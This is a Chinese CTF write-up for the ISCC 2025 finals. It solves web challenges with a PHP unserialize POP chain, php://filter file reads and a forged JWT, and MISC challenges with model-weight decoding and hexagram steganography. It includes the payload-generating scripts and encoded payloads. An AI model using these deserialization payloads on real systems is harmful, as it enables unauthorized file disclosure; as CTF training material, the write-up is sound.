iscc2025决赛wp
文章目录
- WEB
- 谁动了我的奶酪
- ISCC购物中心
- MISC
- 神经网络迷踪
- 非预期解
- 预期解
- 八卦
WEB
谁动了我的奶酪
首先打开网址,发现输入框,提示是谁偷了jerry的奶酪,想到它的老朋友tom,于是输入tom得到源码
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";class Tom{public $stolenCheese;public $trap;public function __construct($file='cheesemap.php'){$this->stolenCheese = $file;echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";}public function revealCheeseLocation(){if($this->stolenCheese){$cheeseGuardKey = "cheesemap.php";echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));$this->stolenCheese = str_rot3($cheeseGuardKey);}}public function __toString(){if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";}else{$this->trap['trap']->stolenCheese;return "Tom";}}public function stoleCheese(){$Messages = ["<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>","<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>","<h3>Cheese的香味越来越浓,谁在偷吃?</h3>","<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",];echo $Messages[array_rand($Messages)];$this->revealCheeseLocation();}
}class Jerry{protected $secretHidingSpot;public $squeak;public $shout;public function searchForCheese($mouseHole){include($mouseHole);}public function __invoke(){$this->searchForCheese($this->secretHidingSpot);}
}class Cheese{public $flavors;public $color;public function __construct(){$this->flavors = array();}public function __get($slice){$melt = $this->flavors;return $melt();}public function __destruct(){unserialize($this->color)();echo "Where is my cheese?";}
}if (isset($_GET['cheese_tracker'])) {unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){$clue = $_GET["clue"];$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);if (unserialize($clue)){unserialize($clue)->squeak = "Thief!";if(unserialize($clue)->shout === unserialize($clue)->squeak)echo "cheese is hidden in ".$where;elseecho "OHhhh no!find it yourself!";}
}?>
我们先认真观察这一段:
elseif(isset($_GET["clue"])){$clue = $_GET["clue"];$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);if (unserialize($clue)){unserialize($clue)->squeak = "Thief!";if(unserialize($clue)->shout === unserialize($clue)->squeak)echo "cheese is hidden in ".$where;elseecho "OHhhh no!find it yourself!";}
目标是显示$where变量的值,用如下脚本:
<?php
class Jerry{protected $secretHidingSpot;public $squeak;public $shout;
}$a = new Jerry();
$a->squeak = null;
$a->shout = &$a->squeak;
echo urlencode(serialize($a));
?># O%3A5%3A%22Jerry%22%3A3%3A%7Bs%3A19%3A%22%00%2A%00secretHidingSpot%22%3BN%3Bs%3A6%3A%22squeak%22%3BN%3Bs%3A5%3A%22shout%22%3BR%3A3%3B%7D
传参后,得到提示:
/Y2hlZXNlT25l.php?clue=O%3A5%3A"Jerry"%3A3%3A{s%3A19%3A"%00*%00secretHidingSpot"%3BN%3Bs%3A6%3A"squeak"%3BN%3Bs%3A5%3A"shout"%3BR%3A3%3B}
进行源码审计,构造反序列化利用连来利用include()进行文件包含:
Cheese ——》 __destruct()
Jerry ——》 __invoke()
Jerry ——》 searchForCheese()
于是利用上述链读取该文件
<?php
class Jerry {public $secretHidingSpot;
}class Cheese {public $flavors; public $color;
}$a = new Jerry();
$a->secretHidingSpot = "php://filter/convert.base64-encode/resource=flag_of_cheese.php";
$b = new Cheese();
$b->color = serialize($a);
echo urlencode(serialize($b));
?># O%3A6%3A%22Cheese%22%3A2%3A%7Bs%3A7%3A%22flavors%22%3BN%3Bs%3A5%3A%22color%22%3Bs%3A110%3A%22O%3A5%3A%22Jerry%22%3A1%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3B%7D%22%3B%7D
解密得到一半flag
ISCC{ch33se_th!ef_!5_the
之后仔细观察该网页的php文件名,猜测是个base64,于是解密果然是,解密后是:cheeseOne
猜测可能还有cheeseTwo,于是将其base64得到:Y2hlZXNlVHdv
访问/Y2hlZXNlVHdv.php,发现访问受限
之后查看源码找到线索:
base64解码,得到:Jerry_Loves_Cheese
抓包一下,发现了jwt
先将auth_token中的值进行url解码,再进行jwt伪造,其中key就是上面的Jerry_Loves_Cheese
访问该位置:
/c3933845e2b7d466a9776a84288b8d86.php
根据前面的提示,用22的16进制(0x16)进行异或,得到另一半flag
合在一起就是flag
ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}
ISCC购物中心
别看了,这题完全有问题,根本不存在wp好吧,扯淡而已
挂个不值钱的flag
ISCC{f@nta5t!cSh0pp!ng3xpEr!ence}
MISC
神经网络迷踪
非预期解
刚开始的附件能用非预期
下载附件,然后拖进010editor查看头部,发现PK头部,于是是压缩包
修改后缀为zip,解压,然后查看文件名,文件名后一部分就是flag(想吐槽)
ISCC{bearg}
预期解
官方修复了附件,所以的非预期解没用了,而且要求不能使用非预期了
使用脚本:
import torch
import sysdef decode_flag_from_model(model_path: str) -> str:"""从PyTorch模型文件中解码隐藏的ISCC标志"""state_dict = torch.load(model_path, map_location='cpu')output_bias = state_dict['output.bias']# 将浮点张量转换为字节序列byte_sequence = [int(torch.round(tensor_value * 255)) & 0xFFfor tensor_value in output_bias]# 尝试解码字节序列try:decoded_content = bytes(byte_sequence).decode('utf-8')except UnicodeDecodeError:decoded_content = bytes(byte_sequence).decode('utf-8', errors='ignore')return f"ISCC{{{decoded_content}}}"if __name__ == '__main__':MODEL_FILE = "attachment-38.pth"try:flag = decode_flag_from_model(MODEL_FILE)except KeyError as e:print(f"模型结构异常,缺少关键参数:{e}", file=sys.stderr)sys.exit(1)except Exception as e:print(f"处理模型时发生意外错误:{e}", file=sys.stderr)sys.exit(1)print(flag)
跑出flag
ISCC{bearg}
八卦
下载附件,同时别忘了提示:
将附件拖进010editor,根据文件头发现是一张gif图片,且末尾还加入了一个7z压缩包。
可以先将压缩包提取出来,但是需要秘密。先放一边
然后将gif图片用工具进行帧分离,发现里面有些图片有信息,提取出来
一共有四个base64编码,解码得到相应的卦:
5Lm+5Li65aSp
乾为天(乾上乾下) 4WY3DZVQWTUJFGI=
山水蒙(艮上坎下)5rC06Zu35bGv
水雷屯(坎上震下)42YLJZNEVHUZZAA=
水天需(坎上震下)
然后根据提示,找到其他三个卦
第一个是在LSB:
随便查看上面6张的任意一张就行
5Z2k5Li65Zyw
坤为地(坤上坤下)
然后是每一卦的持续时间:
也就是232323,刚开始我们的思路是将其转换成010101或者101010,
最后的存在内容,根据图片知道:有有有无有无,转换成111010,
然后转换成对应的卦,一共刚好七个卦,将这七个卦分成上下卦,然后按顺序拼接,
但是最后怎么拼接都是错误的,不能解开压缩包。
于是转变思路,各种尝试
最后猜测23可能是指第23卦,也就是剥卦(艮上坤下)
而111010转换成十进制是58,也就是第58卦,即兑卦(兑上兑下)
于是总共七卦如下:
乾为天(乾上乾下)
山水蒙(艮上坎下)
水雷屯(坎上震下)
水天需(坎上震下)
坤为地(坤上坤下)
剥卦(艮上坤下)
兑卦(兑上兑下)
经过尝试,按从小到大拼接上下卦,得到:
乾乾坤坤坎震艮坎坎乾艮坤兑兑
这就是压缩包的密码,解压压缩包,得到一串形似base64的字符串。
进行两次base64解码得到flag
ISCC{IqxRxlUVvK048}